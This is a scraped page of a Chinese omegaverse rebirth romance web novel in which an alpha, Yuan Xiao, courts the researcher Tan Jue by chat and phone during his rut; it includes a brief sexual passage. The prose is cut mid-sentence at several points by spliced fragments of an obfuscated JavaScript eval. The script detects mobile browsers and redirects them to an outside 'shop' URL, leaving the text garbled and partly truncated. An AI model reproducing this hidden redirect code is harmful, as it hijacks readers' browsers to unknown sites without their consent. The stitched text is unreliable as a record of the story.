“没关系,”谈决虽然看不懂原骁的操作,但还是礼貌地拒绝了alpha的好意,他看了眼病床上的许眠,委婉地提醒对方:“其实我不太冷,你还是把外套留给更需要的人……” alpha半点意会不到,甚至有点不高兴地皱起眉,语气霸道地打断他:“你好好穿着,别再说话消耗体力了。” 他说完就转身背对着谈决,一副拒绝交流的模样。 谈决:“……” 他拗不过alpha,半点也只能低声道:“谢谢。” 沉默,诡异的沉默,在场的人也是第一次见到这么光明正大理直气壮出轨的alpha,自己的伴侣才脱离生命危险,人还昏迷着,他转头就向另一个omega献殷勤。 谈决道完谢,无声打量起拿后脑勺对着自己的alpha,很年轻,身高目测184往上,站人堆里也鹤立鸡群,脱了外套身上只剩件短袖T恤,跟运动品牌代言男模似的。 alpha似乎察觉了他的目光,却强忍着没转身,谈决有点受不了这种气氛,只能闭上眼睛装看不见,直到清脆的“叮”声打破了尴尬,他才暗暗松了口气。 电梯终于到了,却容不下两波人,状态差的谈决先走,原骁站在门口,看着谈决被推进电梯,omega太虚弱,已经闭上了眼睛。 他面色苍白,下巴尖尖的,肩背薄薄一片,像是下一刻就会变透明,然后慢慢消散,原骁一边看,一边忍不住心疼。 太瘦了,怎么瘦成这样。 电梯门缓缓阖上,omega却仿佛察觉到异样,慢慢睁开眼,就看见了alpha的表情。 既心疼,又带着眼巴巴的期盼,好像谁要把他抛下似的,谈决几乎幻视了对方脑袋上有对耷拉的犬耳。 他微微一愣,目光相接的瞬间,对方却忽然笑起来,alpha可能还有点外国血统,眉眼很优越,但不夸张,笑的时候眼睛都是亮的。 对方对着他“拜拜”,无声地做口型:“好好休息。” “啪”,电梯门阖上,alpha彻底被隔绝在外,谈决吸了口气,闭目感受着电梯上行时的轻微失重感,鼻尖却萦绕着一股似有若无的香味。 向日葵味的alpha信息素,很少见。 察觉到味道的来源,谈决有一瞬间的失神,他似乎在克制着什么,然而过了很久,omega还是动了动几乎已经麻木的手,轻轻揪住了外套的一角。 另一边,许眠也被送进了重症监护室,这回他们和谈决不在一层楼,原骁想看看对方都没机会,天微微亮时,许眠的麻药终于过了,慢慢转醒。 “你醒了,”原骁站起来,隔着枕头把omega扶起来,把柜子上的纸杯递给他:“先喝点热水,我放了点柠檬,能缓解恶心。” 以前谈决就经常恶心,他会兑一点点柠檬液在热水里,味道清新,效果很好。 “谢谢,”许眠愣愣地接过了纸杯,却没有第一时间喝下,反而有些不好意思:“麻烦你了原骁。” 原骁客气道:“应该的,出了这么大的事,叔叔和阿姨也不在云城,我应该过来一趟。” “宋锦已经去安置你那几位同学去了,你好好休息,不要多想。” “嗯。”许眠昨晚高烧了一夜,又打过麻醉,一觉睡醒就感觉口干舌燥犯恶心,他喝完满满一杯热水,舒服了很多。 原骁把他扶回去躺好,给他盖好被子:“我出去一趟。” 他借了联盟的治疗舱,今天要全须全尾还回去,他先和原邃通了个气,又打电话给辅导员请假,最后安排杨妈过来照顾许眠。 许眠躺在病床上,却隐约能听见走廊的说话声,alpha游刃有余地安排好一切,最后才走了进来。 许眠这才注意到原骁只穿了件薄薄的短袖:“你的外套呢?” 昨晚原骁不是还穿着外套吗? 原骁坦诚道:“送人了。” 许眠默了默,忽然不知道该说什么,实际上他和原骁并不熟悉,两个人大部分交集都在小时候,这段婚约也是看在原骁已故妈妈的面子上才订下的。 那时他的父亲还没有那么多老婆,他也没有那么多兄弟姐妹,作为婚生子,又还是家里最小最受宠的omega,许眠经常跟着爸妈出席宴会。 他只记得原骁家世很好,好到他爸那么刻薄自大的人都会对着一个四五岁大的alpha露出谄媚的神情,对方不管在哪里都是人群的焦点,被人簇拥恭维。 即便许眠现在被父亲冷落,被母亲嫌弃不争气,被送到异国他乡学医,他也能凭着和原骁的婚约挣得片刻喘息的机会。 而从他感染了腺体萎缩症到现在,他爸没打过一个电话来问他好不好,她妈拿不出高昂的治疗费,又不想他真的死了,只能厚着脸皮打了原越庭的电话。 他苦笑了下:“回头你把账单发我吧,我尽量把钱还你。” 说要还,其实他也不知道怎么还,治疗舱启动的每一分钟都在烧黄金,许眠稍微算了下心里就有数,如果家里不出面,他根本拿不出这么多钱还债。 他躺在病床上,又一阵烦躁,甚至后悔昨晚为什么没死成,谁知alpha却摇摇头:“不用了,又没多少钱。” 许眠:“……没多少?” 原骁认真算了下账,却没告诉对方具体金额,反而安慰道:“嗯,没多少。” 几千万而已,他顶多被原邃臭骂一顿,但这根本不重要,重要是许眠活下来了。 许眠活下来,谈决就不会自责,不会自杀,他才能安安心心,健健康康地投入0218的研究。 按现在的情形,治疗一名腺体萎缩症患者的成本是几千万,但谈决可以把无数个几千万都变成了免费的,和0218的价值比起来,这点钱算什么? 许眠沉默了一会儿,还是决定说实话:“原骁,我是医学生,亲眼见识过治疗舱的收费标准,这不是一笔小数目,虽然我可能暂时还不起,但这笔钱是为了救我的命,无论多少都该自己还。” 原骁听完,果然认真思考了一会儿:“这样吧,我帮你出这笔钱,你帮我个忙?” 许眠:“……什么忙?” 原骁想了想:“过几天再说。” 他本来想提解除婚约的事,但是许眠刚醒,不能太劳累。 他虽然没说明白,但许眠很聪明,立马就猜出他的意思:“……好。” 过了大概四个小时,许眠终于被挪出了重症病房,搬到单人特护病房,被允许进食,杨妈也带着刚做好的午饭姗姗来迟。 杨妈来接班,原骁就轻松了,他昨晚没心情吃东西,现在饿得前胸贴后背,找了个角落坐着,狼吞虎咽地解决了自己的那份饭。 许眠也饿,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185182|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他比原骁斯文多了,刚吃了三分之一,原骁那边就已经结束了,收拾完碗筷,他立马拎起桌子上那个没动过的饭盒,风风火火地出去了。 里面都是谈决喜欢吃的菜,他特意叮嘱杨妈做的。 谈决胃不太好,不过很少有人知道这件事。出门和同事聚餐,别人吃什么谈决就吃什么,从来不挑剔,不说喜欢也不说不喜欢,但原骁知道这个人挑嘴,娇气,有几次实地考察吃了不干净的快餐,回家就胃疼一晚上,疼得脸白了,天亮还要强打着精神去上班。 原骁在住院部问了一圈,都没找到谈决的病房,后来是有个年轻的实习生说漏了嘴,说谈决从重症监护室出来后就强行出院回家了。 原骁一愣:“强行出院?为什么?” 实习生不知道谈决的身份,知道什么就说什么:“好像是信息素紊乱出现发情先兆了,omega发情期需要待在让他们有安全感的安全的地方,医院人来人往,不方便静养,所以他出院了。” 信息素紊乱? 对啊,他差点忘了,上辈子谈决感染腺体萎缩症的第二天就出现了信息素紊乱,他高烧不退,抑制剂失效,最后甚至严重到危及生命的地步。 谈决一开始不同意匹配,活活捱了三天,一度休克,最后才不得不点头,他爹用密钥打开了联盟的信息库,为他找到了最适配的alpha,也就是原骁。 原骁现在患得患失,已经成了惊弓之鸟,一点点风吹草动都能让他自乱阵脚,他一点都不敢赌。 他立马打电话给原越庭,谁知电话才接通,他爸就先声夺人:“听说你昨晚为了救许家那小孩儿,把K市和二院闹得鸡犬不宁?” 原骁一噎,他不知道怎么解释这事儿和谈决也有关:“……特殊情况。” 原越庭叹了口气:“你做的也没错,昨晚联盟有位非常重要的研究人员也感染了腺体萎缩症,优先级别很高,要不是你提前把治疗舱运回云城,许眠现在已经没命了。” 提到谈决,原骁立马道:“那他现在现在还好吗?” 原越庭:“谁?” 原骁:“就是那个‘非常重要的研究人员’,我昨晚见过他。” 原越庭这才想起原骁和谈决昨晚都在二院,他沉默了下,最后还是公事公办:“这是联盟的机密,不能告诉你。” 原骁更是抓心挠肺,这算什么机密,他马上就要被送给谈决当老公了还机密什么? 但他脸上不能表现出来,反而道:“我听说他今天信息素紊乱了。” 原越庭没想到原骁消息这么灵通,皱起眉:“谁说的,大人的事少打听。” 原骁:“你不打算给他匹配一个合适的alpha吗?” 原越庭反问:“我为什么要给他匹配alpha?而且这跟你有什么关系?” 原骁不喜欢老爹这幅气定神闲的样子:“他不是信息素紊乱了吗?这么严重的症状为什么不匹配alpha?” 原越庭:“?” “你真的考上大学了吗儿子?”他盯着原骁那双执着的眼,认真教育起来:“轻度的信息素紊乱出现的发情只需要抑制剂或者一点点alpha信息素,他需要休息,不需要匹配。” “不需要匹配?”原骁一愣,他一边庆幸谈决这次信息素紊乱不严重,一边如闻噩耗。 “那我怎么跟他结婚?” 8. 恨嫁 原越庭以为自己上了年纪耳朵不好使:“跟他什么?” 原骁:“结婚。” 事到如今,他也不打算瞒了:“爸,我想跟谈决结婚。” 原越庭脸都绿了:“结婚?你才见了人家一面就想着结婚,别忘了你和许眠还有婚约,简直胡闹!” 原骁:“爸,我没有胡闹,我是真的喜欢谈决,而且和他结婚不好吗?趁现在年轻还有机会,再过两年我就配不上人家了!” 再过两年谈决就会直升联盟医学部长,二十几岁的医学部长,长得漂亮智商高,在原骁还在为期末周和小组作业发愁的年纪,谈决已经是教授,站讲台上给他布置作业。 想和谈决结婚的人从云城排到北欧,他上辈子能和谈决结婚全靠信息素匹配,现在谈决不需要alpha安抚了,他连唯一的优势都没了! 他连和谈决说话的机会都没有! 原骁肉眼可见地焦虑起来,焦虑到原越庭都察觉到不对劲:“你没开玩笑啊小骁,你真想和他结婚?” 原骁:“你看我像开玩笑吗?” 原越庭沉默了:“……” 他没想到家里三个alpha,大儿子两眼一睁就在投资挣钱,二女儿立志进军部,军校毕业就直接进了特种部队攒军功,小儿子刚上大学,结果脑子里只想着结婚。 “你是不是太想进步了?最近学业压力很大吗?”原越庭活了大半辈子都没想到这种进步方法,毕竟以谈决现在的身份和地位,原骁要是能和对方结婚,以后从政都能方便很多,不管从哪个角度看都是只赚不亏。 但计划是计划,现实是现实,人还是要有点自知之明:“不是爸打击你……这事儿不好办,爸也办不了,咱家家境还可以,但人家搞科研,还是国宝级别的科研人才,你爹就算明年竞选上了联盟主席也得笑眯眯给人家倒杯水,你还是好好上学吧,别想着走这种捷径。” 原骁:“……” 他没想到他爹是误会自己想走捷径,完全察觉不到他对谈决的爱,又是一阵恨铁不成钢的失望。 但谈决不允许,他就算匹配上了也没用,一切都要看谈决的意思,原骁只能退而求其次:“行,这事我自己解决。” “要是谈决这两天不舒服,或者必须要匹配alpha,你一定要第一时间打电话给我。” 原越庭不知道他要干什么,但总归不会是太出格的事,而且真要能和谈决结婚也是这小子的福气,他在心里打了两个转,于是点头:“行,你自己能处理就行。” 原骁:“挂了。” 挂完电话,原骁又一阵茫然。 现在许眠没死,谈决也没生病,不用强行匹配alpha,一切都朝着最好的方向发展,好到就算原骁不出现在对方的生命里也无伤大雅。 他的老婆就这么没了! 一切都要从头开始。 原骁越来越觉得自己多余,越想越失落,但再一想到谈决以后会跟别的alpha结婚,被别alpha标记,给别的alpha戴管教项圈,然后再冷着脸骑在对方身上,他简直多想一秒都会爆炸。 想着想着,大脑忽然像被针扎似地阵痛,他已经快两天没睡了,身体已经发出警告,好在家里司机还在停车场,他家离医院远,他想也不想就坐上车回学校。 U大可以申请单人学生公寓,住宿条件比酒店好,原骁花了半小时回到学校,十分钟洗澡吹干,然后往枕头上一躺,瞬间就失去了意识。 或许是重生后他神经一直紧绷,上辈子发生的事历历在目,像鞭子一样敦促他,追赶他,好不容易得到放松的机会,原骁大睡特睡,睡了整整十六个小时,再醒时,已经是第二天早上八点。 他这一觉睡得饱足,舒服到不想离开床,他静静躺了一会儿,这才拿起手机。 今天周二,他上午没课,打开聊天软件,这才发现一连串的消息轰炸,宋锦弹了一大串未接来电,问他还有没有活着;原邃言简意赅发了张账单,后面跟了个问号。 他爸给他转了个标题为“当代年轻人应如何树立正确的婚姻观”的视频,他挑挑拣拣地回了宋锦几句,告诉他自己没事,下午高数课见。 退出聊天界面时,他发现多了条好友申请。 他心头一跳,满怀期待地点开,没看见熟悉的头像,又失望地叹了口气。 加他的是许眠,顶着个特别可爱的粉兔子头像,气质和他还挺像的。 谈决就从来不搞这种花里胡哨的东西,他的头像十年如一日,是一张海滩上的贝壳,从原骁认识他就没变过。 原骁点了同意,又问许眠今天好点没。 许眠那边几乎是秒回。 【已经好多了,医生说明后天就可以出院,休息一段时间就能康复。】 【谢谢你。】 原骁回了句“不用谢”。 许眠那边一直显示正在输入中,原骁把手机充上电,起床洗漱。 等换好衣服回来,就看见许眠发了好几条消息。 【你昨天让我帮忙,是不是和我们的婚约有关?】 【我知道你的意思,我们互相没了解过,确实不太合适,反正婚约也是口头约定,如果你不方便说,我会找时间跟我爸妈和原叔叔说清楚的。】 原骁知道omega心思细腻,但这也太细腻了,他还什么都没说,许眠就猜了个七七八八,但对方这么爽快,事情就好办多了。 【嗯,你那边提更方便点。】 原骁一个alpha,拒婚omega有点不太绅士,他都想好了,让许眠那边解除婚约,既不影响omega的名声,还能在谈决面前卖个惨,一个被拒婚的可怜alpha,谈决见了一定会心软。 他和许眠商量了细节,最后打算等许眠妈妈来云城看望许眠再提这事。 过了一会儿,omega又迟疑着弹了条消息过来。 【冒昧问一下,你想解除婚约,是因为你已经有心仪的结婚对象吗?】 原骁打字的手一停,最后斩钉截铁地回了一个字。 【是。】 许眠那边一直显示“对方正在输入中……”,打了删删了打,好半天,许眠才回复。 【好的,我知道了。】 【祝你们幸福。】 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185183|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠很有分寸地没问是谁,发完祝福就没了下文。 原骁总感觉哪里怪怪的,只回了句“谢谢”。 和许眠达成了共识,原骁又松了口气,他不自恋,但害怕死缠烂打的情况出现,毕竟他要追的人是谈决,一个有婚约的alpha更没有竞争力。 想到谈决,他的心就热热的,他还记得对方的联系方式,捏着手机发了会儿呆,最后还是输入了记忆里那串数字,查找。 熟悉的沙滩贝壳头像跳了出来,原骁想了又想,最后小心翼翼地发送了好友申请。 谈决一直没同意他的好友申请。 他等了整整三天,不管上课吃饭,每隔十分钟都要低头看看手机,就连打球赛中场休息,他都要跑到操场角落看一眼手机。 谈决不理人,原越庭那边也一直没消息,不过没消息就是好消息,至少证明了谈决在顺利度过发情期,但时间等得太久,原骁也气馁起来。 他点开好友申请看了半天,最后叹了口气收起手机。 宋锦坐在他对面吃饭,终于没忍住:“干嘛?你处对象了?这两天人都长手机上了。” 前两天宋锦又是帮他送治疗舱,又是帮许眠安置同学的,原骁今晚请他吃饭,结果到了地方原骁却一直在看手机。 原骁也不瞒他:“……还没处上。” 宋锦一听有情况,立马停下筷子:“谁?不会是许眠吧?” 许眠感染腺体萎缩症,是原骁连夜空运治疗舱过来,一直守到对方脱离危险才离开,说原骁没那个意思宋锦都不信,他回忆了一下omega的长相,又想到圈子里那些传闻:“你别说,许眠长得挺漂亮的,看着就乖……不过我听说他爸前些年带回好几个小老婆和私生子,许眠他妈渐渐就被冷落了,许眠也被送出国读书。” 原骁听完,又想起许眠说自己暂时还不起医药费:“这样啊。” 他就说,以许眠的家世,不至于连几千万都拿不出来,现在就说得通了。 圈子里鱼龙混杂,有点风吹草动就传得到处都是,这事也不是什么秘密,宋锦多少知道点,不过原骁这人缺心眼,不怎么关心八卦,又接着给他科普:“不过许眠挺争气的,人家成绩好,都提前拿到U大的保研名额了,你两谈恋爱还不用异地,多好。” 这个原骁知道,许眠要是不优秀,也不可能申请去谈决的研究所实习,但宋锦猜错了,大错特错:“不是,我没跟许眠处对象。” 这回宋锦真愣住了:“不是许眠?那是谁?” 原骁:“是那晚在206手术室的omega,叫谈决……算了,说了你也不知道。” 宋锦却忽然跳起来:“谈决?你确定他叫谈决?” 原骁:“是,怎么了?” 宋锦:“谈决啊!他是咱们这学期特战生理讲座的教授啊……你疯了?!” 原骁一愣,与此同时,他的手机“叮咚”一声,熟悉的沙滩贝壳的头像跳了出来。 【你好,原骁。】 【有什么事吗?】 熟悉的聊天方式,每句话后边都加标点。 谈决同意了他的好友申请。 9. 易感期 重活一辈子,原骁都忘了谈决当过自己老师的事。 谈决硕士期间就进入了U大人类生命进化研究所实习,读博的时候在U大当助理教授,后来0218项目启动,谈决成了主要负责人,专职研究,上课的事基本都交给了手底下的学生去做。 他之所以会成为原骁和宋锦的老师,是因为U大今年开设了特战班,要从全校所有专业,所有年级选出成绩优异,分化等级高,身体素质游戏的alpha、beta和omega各三十名作为培养对象。 谈决会教他们生理课,教他们怎么识别身体信号,降低感染风险,毕竟研究已经发现腺体萎缩症的感染和发病率会随着分化等级上升增加,能考上U大的学生已经是人中龙凤,如果再有高分化等级,必然是感染腺体萎缩症的高风险人群。 同样的,谈决也会把学生们作为观察样本,获取实验数据。 原骁是特战班的第一名。 他还记得上辈子,谈决本来也打算给特战班上课,那个时候原骁刚刚被强行匹配给谈决,两个人完全标记后没几天,他就在教室看见了谈决。 他当时没说什么,只是当着谈决的面漠然地收起课本,头也不回地离开了教室。 那时候原骁连和谈决见一面,甚至呆在一个空间都难以忍受,谈决也没制止,只当做没看见,他取出无框眼镜架在鼻梁上,面无表情地打开了ppt:“把课本翻到28页。” 后来没多久生理课就换老师了,因为谈决身体不好,信息素经常紊乱,加上研究所工作太忙,只能换了个二十七八岁的beta助教来上课,原骁也就忘了谈决要给自己当老师的事。 现在谈决没有信息素紊乱,那是不是意味着他可以一直给自己上课? 原骁看着手机上的消息,有一瞬的狂喜:“那太好了!” 宋锦不知道他在狂喜什么,在二院那晚他没见过谈决:“好什么啊,能在U大当教授的起码二十七八岁打底了吧?而且他还是咱们的老师,你不能谈个正常点的?” 原骁才不管那么多:“我就喜欢比我大的。” 宋锦跟原骁是发小,知道他的德行,这人从小脑袋里就缺根弦,圈子里的alpha养情人的养情人,玩嫩模的玩嫩模,有的连孩子都有了,但原骁只知道拼乐高打游戏,然后半夜三点打电话把宋锦叫起来看恐怖片,说这样比较有氛围。 他好像除了每天傻乐就没事做,恋爱也没谈过,结果现在一来就要和教授处对象,宋锦越想越不对劲,怀疑他是觉醒了什么不得了的性癖,毕竟圈子里就这样:“兄弟……你不会有恋老癖吧?” 原骁:“?” 原骁:“你有病吧?人家才22岁!” 宋锦有点不信,打开手机去查谈决的百科,原骁那边却已经聊上了。 他啪啪啪地在聊天框打下个“老婆”,但很快意识到这辈子谈决还不是他的老婆,又心虚地删除。 事实上他上辈子也没这么叫过谈决,他们之间界限一直很分明,原骁只负责周末出现在婚房,安抚omega,然后离开,其他时候基本不联系,他一直都很有分寸感地叫“谈决”。 原骁打字。 【你的身体好些了吗?】 过了一会儿,谈决回应了。 【不好意思,我们认识吗?】 一上来不自报家门,反而关心身体,实在有点太冒昧。 原骁愣了下,想了想,举起手机“咔嚓”自拍了一张,发了过去。 【我们在二院见过,你还记得我吗?】 【图片】 另一边,谈决坐在沙发上喝咖啡提神,他这几天有点轻微的信息素紊乱,是感染的后遗症,三天的发情期让他脑子成了浆糊,起床后也没什么精神。 他的目光还停留在自己发的那条“不好意思我们认识吗?”的消息上,不知道在想什么,手边却摆着件宽大的alpha外套,上面的向日葵信息素几乎没有了。 他们认识吗? 当然认识。 不过他认识原骁,原骁不认识自己。 他等了半天,alpha那边也没回消息,他漂亮的指节烦躁地敲着茶几,他下意识想拿过那件外套,下一刻信息就弹了过来。 alpha竟然直接发了照片过来。 看背景应该是日料店,装修挺漂亮的,是云城挺有名的情侣餐厅,而照片里三分之一都被alpha的脸占满。 alpha微微笑着,拍摄手法很潦草,脸却帅得很真实。 优越的身高和骨相,带一点点混血感,又因为刚刚成年,年轻活力,完全是那种表白墙上最喜欢的阳光校草,小狼狗男大的类型。 谈决打开大图看了一会儿,然后面无表情地点了保存。 原骁又弹了条消息过来。 【怎么样?你想起我了吗?】 谈决继续打字。 【想起来了,谢谢你的外套。】 【谢谢关心,我身体很好,现在已经没事了。】 原骁忙着和谈决聊天,连吃饭都顾不上,看到这两条消息,瞬间精神一振,紧接着谈决下一条消息就给他迎面泼了冷水。 【你还有什么事吗?】 这是赶客的话术,不想继续聊下去的意思。 原骁还能有什么事,除了和谈决结婚他找不出第二件事! 可刚加上好友当然不能求婚。 谈决不是那种会浪费时间和陌生alpha在网上交友撩骚的人,但凡原骁发一句“想跟你交个朋友”,下一秒谈决就会发现他动机不纯,不理人是小事,被拉黑才完蛋。 原骁在脑子里想了一百个借口,比如“我想跟着你好好学习”“我想了解一下你们研究所”“我佩服你”诸如此类没什么说服力的理由,然后一个个预演被谈决识破然后拒绝的画面,最后发现他根本找不出好的借口。 因为他本来就是来找谈决结婚的,动机不纯不是应该的吗? 最后的最后他只能破罐破摔。 【我是不是有点烦啊……】 【你好像不想理我。】 过了好半天,那边终于无语又善良地回了两个字。 【没有,我只是不喜欢和陌生人聊天。】 原骁心说果然,他猜的一点都没错。 但他非但不觉得受挫,反而得寸进尺。 【那下次我来找你,我们当面聊怎么样?】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185184|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谈决又沉默了。 良久,谈决才发了一句话过来。 【不用了。】 原骁知道谈决难追,但这也太难追了。 【为什么?】 谈决这次回得很快。 【你一边在情侣餐厅和人约会,一边又和我聊天。】 【你有伴侣,私底下又约别的omega见面。】 【你觉得这样好吗?】 原骁愣了一下,这才注意到餐厅的异样。 宋锦刚一脸叹为观止地从百科页面退出来,刚打算继续对付盘子里的金枪鱼刺身,就差点被闪光灯刺瞎。 宋锦捂住眼睛:“你干嘛?” “拍证据,”原骁把图片发过去:“人家以为我在约会,我要自证清白。” 宋锦开始烦他:“少爷,你到底吃不吃饭?” 原骁哪儿还有时间理他,他只是把宋锦的照片发过去。 【图片】 【我没有约会,这是我朋友,他是alpha。】 【我也没有伴侣。】 他发完,又觉得有点委屈,噼里啪啦地打字。 【我从小到大都没谈过恋爱,昨天还被退婚了。】 【我都这么倒霉了,结果连你也不想理我。】 【对不起,打扰了。】 他发完这一堆,就把手机放一边开始吃已经快冷了的拉面,过了十分钟左右,手机终于响了。 谈决显然是经历了一番艰难的心理建设,最后才决定给原骁发消息。 【抱歉,误会你了。】 【退婚的事我很遗憾。】 【你的外套还在我家,周末有空的话我想请你吃顿饭,可以吗?】 原骁的脸上立刻挂起笑容。 【一言为定!】 他放下手机,焦虑瞬间被抚平,宋锦看他得意洋洋的样子,忍不住道:“我看过资料了,谈老师确实才22岁,年轻有为,不过人家是知识分子,搞科研的,圈子都不混……会不会有点难追啊?” 原骁:“可他刚刚说周末要请我吃饭。” 宋锦:“?” 原骁又开始异想天开:“你说如果我周末求婚,他会不会答应?” 宋锦:“?” 这顿饭原骁吃得心猿意马,宋锦也吃得没滋没味,因为他再三确认过,原骁说要和谈决结婚不是开玩笑,他来真的。 他当初还以为原骁是圈子里唯一的身心健康的正常人,现在看来变态也只是早晚的问题。 明天就是周六,谈决约在学校附近的餐厅见面,吃完饭回到学校,原骁就跟打了鸡血一样,又是健身泡澡,又是翻衣柜找约会穿搭,好不容易做足全套准备躺上床,却发现怎么也睡不着。 他在床上翻来覆去,忍不住打开和谈决的聊天界面,一字一句地看,看到谈决每句话后面熟悉的,甚至有些死板的标点,他才敢相信对方是真实的,鲜活的,不会突然消失。 他不停地看,身上的温度却迟迟退不下去。 过了两个小时,原骁终于意识到不对劲,从床上坐起来,翻出了体温计。 37.9℃,低烧。 他的易感期到了。 10. 拉扯 和omega的发情期不一样,alpha的易感期会变得焦躁不安,充满占有欲和攻击性。 上辈子原骁的易感期都是谈决安抚,虽然他们的婚姻只是权衡利弊后的最优解,但无论是原骁还是谈决都认真遵守了游戏规则。 他们的心在背离,身体却无比契合,契合到即便重活一辈子,原骁只要想到谈决就会控制不住反应。 他翻箱倒柜找抑制剂,找遍了公寓都没有,只能发消息让宋锦送上来。 过了二十分钟,公寓门被敲响了。 宋锦手里捏着几支强效抑制剂等在门外,“哗”,公寓大门从里面打开,浓郁的,充满攻击性的信息素瞬间扑面而来。 “我操——”宋锦瞬间捂住口鼻:“你要杀人啊?” 原骁冷着脸走出来,懒得和他贫:“东西呢?” 宋锦有点不放心,嘱咐他:“总共五支,你悠着点用啊。” 原骁眼皮都不抬,看起来心情不太好:“……死不了。” 宋锦还想说点什么,原骁却“砰”一声关上了门。 宋锦:“……” 行,alpha易感期脾气大,他不计较。 原骁回到公寓就迫不及待地给自己注射了两支抑制剂,他靠坐在地板上,静静等待那股燥热褪去,眼眶却止不住发热。 如果是上辈子,这种时候谈决一定会请假回家陪他。 谈决骨子里是个很传统的omega,他只习惯在床上做那种事,但原骁不是,他不玩嫩模,但看过狐朋狗友发过来的片,一到易感期就什么都不管了,客厅,浴室,玄关甚至阳台,在哪里逮到谈决就在哪里开始,有时候谈决受不了了,就会警告似地拽一下他的管教项圈,原骁觉得被羞辱,就会变本加厉。 谈决背很薄,贴在他怀里会硌人,谈决腰很细,他一手就能握住大半,有时候进得深了,还能看见微微鼓起的弧度。 这就是高匹配度带来的弊端,不管他们的开头多屈辱,多荒谬,可一旦被信息素控制,就会抵死纠缠。 原骁静静地坐着,脑子里却无法自控地想到前世,他甚至幻想被omega冷冷清清的信息素包围,然而越想就越失控,到了最后,他终于忍无可忍地锤了下地板:“操。” 他慢慢伸手往下。 他这幅鬼样子,明天怎么去见谈决? 他一边在心里唾弃自己,一边停不下动作,结果非但得不到纾解,反而越来越难受,他想看看谈决的脸,听听谈决的声音。 他最后只能打开聊天框,单手打字。 【对不起,我明天不能来见你了……】 现在半夜两点,谈决估计已经睡了。 原骁根本没奢望谈决会回他,只是绝望地折磨着威风凛凛的小原骁。 谁知过了两分钟,手机忽然震了一下。 他陡然回神,看见谈决的回复。 【嗯。】 就一个“嗯”,毫无温度,毫无感情,像是抽空敷衍人。 原骁要炸了。 【什么叫“嗯”?】 【你这个冷漠无情的男人,你就不能问问我为什么不能来见你吗?】 这话显得太无理取闹,谈决那边果然又沉默了。 好半天才回消息。 【好吧,你为什么不能来?】 原骁终于满意了点。 【我易感期了……现在一个人在公寓,我快难受死了。】 回应他的是更久的沉默。 谈决不知道怎么回他。 一个alpha毫不避讳地和一个omega透露自己易感期,但凡有点脑子的人都知道什么意思。 可他们只见过一面,唯一的交集就是电梯口那件外套。 原骁等着omega说点什么安抚的话,谁知谈决只发了四个字过来。 【多喝热水。】 后面还有个严谨的标点。 原骁只觉得一口气堵在胸口不上不下:木头!他老婆简直就是根木头! 他气得快失去理智,但还得维持alpha的风度,半晌又窝囊地发了句话过去。 【我可以跟你打语音吗?】 谈决那边一直显示输入中,然后又删掉,原骁等得不耐烦,一个语音拨了过去,手机“嘟嘟嘟”响了半天都没人接,就在他以为谈决会挂断时,语音接通了。 谈决迟疑的声音从电话那头传过来:“喂?” 冷清的声线,很容易让人联想到他薄薄,漂亮的长相。 原骁又一阵狂喜。 接通了!电话接通了!谈决怎么会无缘无故接自己的电话?如果这都不算爱,那算什么? 他把手机贴近耳朵,声音也低低的,像粘人的大狗:“老……老师。” 谈决“嗯”了一声,虽然两个人只差了三岁,他却轻车熟路地拿出了长辈对待小辈包容:“很难受吗?” 原骁一点也不隐瞒:“难受,我快难受死了。” “我明明已经准备好明天来见你,连要穿的衣服都收拾好了,现在全搞砸了。” alpha易感期不能出门乱晃,轻微点会吓到人,严重点要坐牢,他对着别人还能控制情绪,但见到谈决一定会失控。 上辈子的时候,谈决是他名正言顺的伴侣,他就算想粘人也有借口,但这辈子他和谈决只有那一点摇摇欲坠的交集,对方冷淡又礼貌,若即若离。 易感期不是最难受的,最难受的是他不知道怎么才能跟谈决结婚。 好不容易才能借着还外套的机会和对方见一面,结果还要被易感期打乱计划。 谈决听出他的懊恼,或许是alpha这两天给了太多信号,让他也有了提问的勇气:“……你很想见我吗?” 原骁毫不犹豫:“想,特别想。” 谈决:“为什么?” 他其实更想问的是alpha这些天为什么这么反常,异常的亲近让他摸不着头脑,更无所适从。 他对此受宠若惊,想借机会贴近,又害怕对方只是见色起意,毕竟alpha那么受欢迎,长了张笑眯眯的渣A脸,一看就很像情场高手。 无事献殷勤,非奸即盗。 这种一上来就和陌生omega搞关怀暧昧的,更加可疑。 显然不光他有这个顾虑,原骁也有这个顾虑,omega矜持保守,不喜欢油嘴滑舌,更不喜欢别人馋他身子。 原骁想了想,干脆直球到底:“因为…因为我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 